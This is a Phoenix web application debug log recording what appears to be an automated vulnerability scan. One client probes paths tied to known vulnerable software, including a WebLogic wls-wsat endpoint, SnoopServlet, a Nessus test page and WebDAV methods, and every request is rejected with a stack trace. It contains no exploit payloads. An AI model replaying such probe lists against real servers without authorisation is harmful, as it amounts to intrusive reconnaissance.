[Thu Sep  3 07:53:26.300000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50308] ** (Phoenix.Router.NoRouteError) no route found for GET /nessus345678.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:28.582000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50316] GET /nessus345678.html
[Thu Sep  3 07:53:28.600000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50316] ** (Phoenix.Router.NoRouteError) no route found for GET /nessus345678.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:30.689000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50322] GET /
[Thu Sep  3 07:53:30.689000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:50322] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:53:30.690000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50322] Sent 200 in 767µs
[Thu Sep  3 07:53:31.549000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50338] GET /
[Thu Sep  3 07:53:31.549000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:50338] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:53:31.549000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50338] Sent 200 in 790µs
[Thu Sep  3 07:53:38.613000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:32892] GET /triton-help/en/first.htm
[Thu Sep  3 07:53:38.628000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:32892] ** (Phoenix.Router.NoRouteError) no route found for GET /triton-help/en/first.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:42.968000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:32900] SEARCH /
[Thu Sep  3 07:53:42.998000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:32900] ** (Phoenix.Router.NoRouteError) no route found for SEARCH / (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:44.288000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53140] OPTIONS *
[Thu Sep  3 07:53:44.302000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53140] ** (Phoenix.Router.NoRouteError) no route found for OPTIONS /* (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:47.106000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53142] GET /console/login/LoginForm.jsp
[Thu Sep  3 07:53:47.141000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53142] ** (Phoenix.Router.NoRouteError) no route found for GET /console/login/LoginForm.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:47.784000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53150] GET /wls-wsat/CoordinatorPortType
[Thu Sep  3 07:53:47.805000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53150] ** (Phoenix.Router.NoRouteError) no route found for GET /wls-wsat/CoordinatorPortType (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:50.675000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53164] PROPFIND /
[Thu Sep  3 07:53:50.700000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53164] ** (Phoenix.Router.NoRouteError) no route found for PROPFIND / (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:52.869000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53172] GET /SnoopServlet/
[Thu Sep  3 07:53:52.916000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53172] ** (Phoenix.Router.NoRouteError) no route found for GET /SnoopServlet (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:53.691000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39898] GET /snoopservlet/
[Thu Sep  3 07:53:53.726000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39898] ** (Phoenix.Router.NoRouteError) no route found for GET /snoopservlet (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:54.382000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39910] GET /snoop/
[Thu Sep  3 07:53:54.432000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39910] ** (Phoenix.Router.NoRouteError) no route found for GET /snoop (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:55.067000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39924] GET /servlet/SnoopServlet/
[Thu Sep  3 07:53:55.104000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39924] ** (Phoenix.Router.NoRouteError) no route found for GET /servlet/SnoopServlet (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:55.108000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39930] GET /usage/
[Thu Sep  3 07:53:55.131000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39930] ** (Phoenix.Router.NoRouteError) no route found for GET /usage (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:55.824000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39940] GET /servlet/snoopservlet/
[Thu Sep  3 07:53:55.844000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39940] ** (Phoenix.Router.NoRouteError) no route found for GET /servlet/snoopservlet (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:55.866000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39954] GET /webalizer/
[Thu Sep  3 07:53:55.885000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39954] ** (Phoenix.Router.NoRouteError) no route found for GET /webalizer (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:53:56.515000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39970] GET /servlet/snoop/
[Thu Sep  3 07:53:56.571000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39970] ** (Phoenix.Router.NoRouteError) no route found for GET /servlet/snoop (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

